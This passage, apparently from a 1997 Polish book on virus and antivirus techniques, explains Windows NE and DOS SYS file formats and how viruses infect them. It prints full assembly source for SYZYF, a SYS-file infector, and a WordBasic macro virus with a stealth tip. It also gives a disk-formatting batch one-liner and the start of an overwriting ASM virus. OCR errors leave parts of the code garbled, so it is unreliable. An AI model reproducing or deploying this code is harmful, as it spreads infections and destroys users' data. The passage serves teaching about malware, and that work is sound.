Plik WIN386.EXE dla Windows; kolekcja plików LE

Windows NT lub Win32s (Portable Executable)

HP 100LX/200LX (Pliki *.EXM)

Stare pliki PharLap (pliki *.EXP)

PharLap 286 (pliki *.EXP)

PharLap 386 (pliki *.EXP)

4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na
odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów
zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w
pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy
segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu
programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się
zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w
tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.

Format nagłówka plików nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

znacznik pliku, bajty 'NE'

02-03

numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej
znacząca część)

04-05

offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest
następujący 00 liczba wejść (00, jeżeli koniec listy)
01 numer segmentu (00, jeżeli koniec listy)
02 pierwszy rekord
05 drugi rekord
.........
Każdy rekord ma format
00 flagi:
bit 0: EXPORTED
bit 1: SINGLE DATA
bity 2-7: nie używane
01-02 ofset w segmencie

06-07

długość (w bajtach) tablicy wejść

08-0B

kod korekcyjny (CRC) pliku

flagi programu; znaczenie poszczególnych bitów
0-1 DGROUP
0 = nie ma
1 = SINGLE SHARED
2 = MULTIPLE (UNSHARED)
3 = (NULL)
2 bit globalnej inicjalizacji
3 program tylko dla trybu chronionego
4 program zawiera instrukcje 8086
5 program zawiera instrukcje 80286
6 program zawiera instrukcje 80386
7 program zawiera instrukcje 80x87

flagi aplikacji; znaczenie poszczególnych bitów:
0-2 typ aplikacji

001 pełnoekranowa (bez Windows AP! dla trybu chronionego)
010 kompatybilna z Windows API dla trybu chronionego
011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla
OS/2
5 0=wykonywalna, 1=błędy w obrazie pliku
6 niezgodny typ programu (stos nie jest zachowywany)
7 plik DLL lub sterownik
(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR,
wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0
poprawna inicjalizacja)

0E-0F

indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty
lokalnej

12-13

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS

14-17

wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów

18-1B

daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy
segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu
ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną

1C-1D

ilość segmentów 1 E-1 F ilość odwołań do modułów

20-21

długość (w bajtach) nierezydentnej tablicy nazw

22-23

offset względem początku nagłówka do tablicy segmentów, składającej się z
rekordów o formacie (pierwszy rekord ma numer 1):
00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3
nagłówka, aby uzyskać adres w bajtach)
02-03 długość obrazu pliku (0000h=64K)
04-05 atrybuty segmentu
0 segment danych
1 nie używane
2 REALMODE
3 ITERATED
4 MOVABLE
5 SHARABLE
6 PRELOADED
7 EXECUTE-CODE (kod) lub READ-ONLY (dane)
8 relokacje (bezpośrednio po kodzie w segmencie)
9 istnieją informacje dla debuggera
10,11 bity DPL dla 80286
12 DISCARDABLE
13-15 DISCARD PRIORITY
06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K)

24-25

offset względem początku nagłówka do tablicy zasobów

26-27

offset względem początku nagłówka do tablicy nazw rezydentnych

28-29

offset względem początku nagłówka do tablicy odwołań do modułów

2A-2B

offset względem początku nagłówka do tablicy nazw importowanych (tablica
łańcuchów typu string, zakończona łańcuchem o długości 0)

2C-2F

offset względem początku nagłówka do tablicy nazw nierezydentnych

30-31

ilość ruchomych punktów wejściowych zawartych w tablicy wejść

32-33

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)

34-35

ilość wejść do tablic zasobów

docelowy system operacyjny
00h nieznany
01h OS/2
02h Windows
03h Europejska wersja MS-DOS 4.x
04h Windows 386
05h BOSS (Borland Operating System Services)
81h PharLap 286IDOS-Extender, OS/2
82h PharLap 286IDOS-Extender, Windows

dodatkowe flagi programu
0 używa długich nazw plików
1 tryb chroniony 2.X
2 proporcjonalna czcionka 2.X
3 0=gangload: nie ma, 1=gangload: jest

38-39

offset do strefy gangload

3A-3B

offset do segmentu odwołańi do strefy gangload

3C-3D

minimalny rozmiar kodu wymienialnego

3E-3F

spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza,
bardziej znacząca część jako druga)

Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

ilość rekordów w tablicy relokacji

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8
bajtów i ma format:
00 typ rekordu
00 LOBYTE
02 BASE
03 PTR
05 OFFS
0B PTR48
0D OFFS32 01 flagi rekordu
bit 2: addytywny 02-03 offset w segmencie
04-05 docelowy adres segmentu
06-07 docelowy adres offsetu

Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

Wartość przesunięcia do dopasowania

Kolejne rekordy zasobów o formacie:
00-01 identyfikator
0000 koniec rekordów
>= 8000h typ INTEGER
w przeciwnym wypadku offset względem początku zasobów

do łańcucha
02-03 ilość zasobów danego typu
04-07 zarezerwowane
08 początek zasobów

Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
00-01

ofset (w dopasowanych jednostkach) do zawartości zasobów

02-03

rozmiar zasobów w bajtach

04-05

flagi zasobów
bit 4: MOVEABLE
bit5:SHAREABLE
bit 6: PRELOADED

06-07

typ zasobów;
=8000 zasoby typu Integer

08-0B

zarezerwowane

Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres

Zawartość

ilość rekordów w paczce (0=koniec tablicy)

znacznik segmentu:
00 nie używany FF MOVEABLE lub FIXED

kolejne rekordy, każdy o formacie:
00 flagi
bit 0: wejście jest eksportowane
bit 1: wejście używa globalnych (współużywalnych) danych
bity 7-3: ilość stów parametrów dla segmentu FIXED
01-02 ofset dla segmentu MOVEABLE
01-02 INT 3F (kod instrukcji: CDh 3Fh)
03 numer segmentu
05-06 ofset

Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres

Zawartość

długość łańcucha (00=koniec tablicy)

01-N

łańcuch ASCII

N+1-N+2

numer porządkowy w tablicy

Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji
przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Kod programu STUB
właściwy program dla Windows:
Nagłówek NE

Tablica segmentów
Tablice z danymi o zasobach
Kod programu dla Windows

Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Zmniejszony kod programu STUB
właściwy program dla Windows zarażony wirusem:
Nagłówek NE, cofnięty względem oryginalnej pozycji
Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o
segment wskazujący na kod wirusa (na końcu pliku)
Tablice z danymi o zasobach
Kod programu dla Windows
Kod wirusa

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą
rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie
startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95
także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje
funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla
uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane
dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze
sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość
Nagłówek pliku SYS (patrz następna tabela)
Kod sterownika

Format nagłówka pliku SYS
00-03

Wskaźnik do następnego programu obsługi urządzenia, standardowo ==
0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik.
Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres
kolejnego sterownika w pliku.

04-05

Atrybuty urządzenia, informują o przeznaczeniu sterownika

06-07

Adres procedury strategii (względem początku nagłówka). Procedura strategii
służy do odebrania pakietu zlecenia od systemu DOS.

08-09

Adres procedury przerwania (względem początku nagłówka), która na
podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje
odpowiednie czynności,

0A-0F

Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia
blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).

Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w

polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje
dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku
zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi
natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu
programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie
faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS,
wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na
koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do
zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań).
Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi
działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi
trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania
Kod sterownika
Kod wirusa

Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego
sterownika w pliku
Kod sterownika
Nagłówek fałszywego sterownika (wirusa)
Kod wirusa

Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki
SYS.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; SYZYF v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow SYS
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;

;
; Kompilacja :
;
; TASM SYZYF.ASM
;
; TLINK SYZYF.OBJ
;
; MAKESYS SYZYF.EXE
;
;
;
;----------------------------------------------------------------
------------;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje
PSP

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu

VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji

DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends

NAGL struc
NAGLAdres dd ? ; Adres nastepnego
sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi
strategii
NAGLPrzerwanie dw ? ; adres obslugi
przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends

Start:
SYSNagl NAGL
<0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek

VirusStart: ; tu zaczyna sie kod
wirusa

ProceduraPrzerwania:
push ax ; \
push bx ; \
push cx ; \ zachowaj
push dx ; \ zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /

Call Trik
Trik:
pop si
sub si,offset Trik

push cs ; \ DS=CS
pop ds ; /

mov ax,[si][StarePrzerwanie] ; zachowaj adres do
nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs

lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst

Call Informacja ; spytaj o
uruchomienie wirusa

jnc Infekcja ; gdy CF=1, nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj

Infekcja:
mov ah,2Fh ; funkcja DOS -
pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny
adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go
przywrocic

lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

lea dx,[si][MaskaSYS] ; maska poszukiwanych
plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad

KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepny

mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza
czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz
65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj
nastepnego

mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc
pliku
cmp ax,64000 ; czy dlugosc <= 64000
?
ja SzukajNastepnyPlik ; nie - szukaj

nastepnego

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt
pliku do BX

mov cx,size NAGL ; ilosc czytanych
bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku
do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]

cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego
plik

cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny
plik
; TAK - na poczatku
pliku jest
; 0FFFFFFFFh

mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania

xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku

mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov [si][CzytNAGL.NaglPrzerwanie],ax

mov cx,VirusDlug ; ilosc zapisywanych
bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ CX:DX zawieraja
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad

mov cx,size NAGL ; ilosc zapisywanych
bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
int 21h ; wywolaj funkcje DOS

ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS

PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany

mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS

SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad

NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne
DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS

BezInfekcji:

pop es ; \
pop ds ; \
pop di ; \ przywroc
pop si ; \ zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /

db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?

MaskaSYS db '*.SIS' ; maska plikow SYS
(ASCIIZ)

; Czesc Informayjna ; wyswietla pytanie do
uzytkownika
Informacja: ; czy chce uruchomic
wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak
komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania

mov ah,0Eh ; pisz znak z AL
int 10h ;

jmp short NastepnyZnak

InformacjaTxtOK:

mov ah,0
int 16h

and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
pop si ax
ret ; powrot

TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel

VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>

ProceduraStrategii: ; na wejsciu ES:BX
adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i
zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej

retf ; powrot z procedury
; strategii

AdresZlecenia dd ?

Nosiciel:
push ds ax bx

lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres
pakietu
; zlecenia

xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;

mov word ptr ds:[bx+03h],8102h ;

pop bx ax ds
retf

SYZYF ENDS
END Start

4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega
tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych
wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w
otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu
DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po
znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego
kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W
rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z
interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a
wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto
pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar
przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam
kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku
niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej
realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym
sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze
bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako
sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie
komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w
innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku
IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie
przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i
oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują
pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;

> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).

Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni
wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej
destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia
przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana
przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika
jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację.
W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować,
iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie
sformatowany.
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych
plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt
miłymi konsekwencjami.

4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy
przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten
program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać
już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program
ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej,
znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub
zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro
AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku
NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych
stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany
(zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na
przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego
makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może
zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra

Opis makra

AutoExec

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem
z szablonu globalnego zawartego w pliku NORMAL.DAT

AutoNew

uruchamiane podczas tworzenia nowego dokumentu

AutoOpen

uruchamiane podczas otwierania dokumentu

AutoClose

uruchamiane podczas zamykania dokumentu

AutoExit

uruchamiane podczas kończenia pracy z Wordem

Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który

składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików
DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT
dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w
rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych
makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację
tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ,
Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie
wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie
operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaŠ ?" TiN = 256
+48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy
WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siŕ do NORMAL.DOT, Sam tego chcia│eť !!!",
Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaŠ '" +
WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siŕ do '" + WindowName$() + "'" MsgBox
Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla
innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego
wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth).
Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas
kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze
zawartości takich makr.

4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr,

które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS
Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik
PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w
zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych,
dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra

Opis makra

auto_open

uruchamiane podczas rozpoczynania pracy
z Excelem

auto_close

uruchamiane podczas zamykania arkusza

4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału.
Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe.
Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do
zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem
wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program
może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później
dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania.
Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a
więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma
dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać
szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do
zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w
efekcie niszczącego pliki).

;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny, nadpisujacy, atakujacy
pliki ASM ;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
;
;
; Kompilacja :
;
; TASM ASMODEUS.ASM
;
; TLINK /t ASMODEUS.OBJ

;
;
;
;----------------------------------------------------------------
------------;
.286p
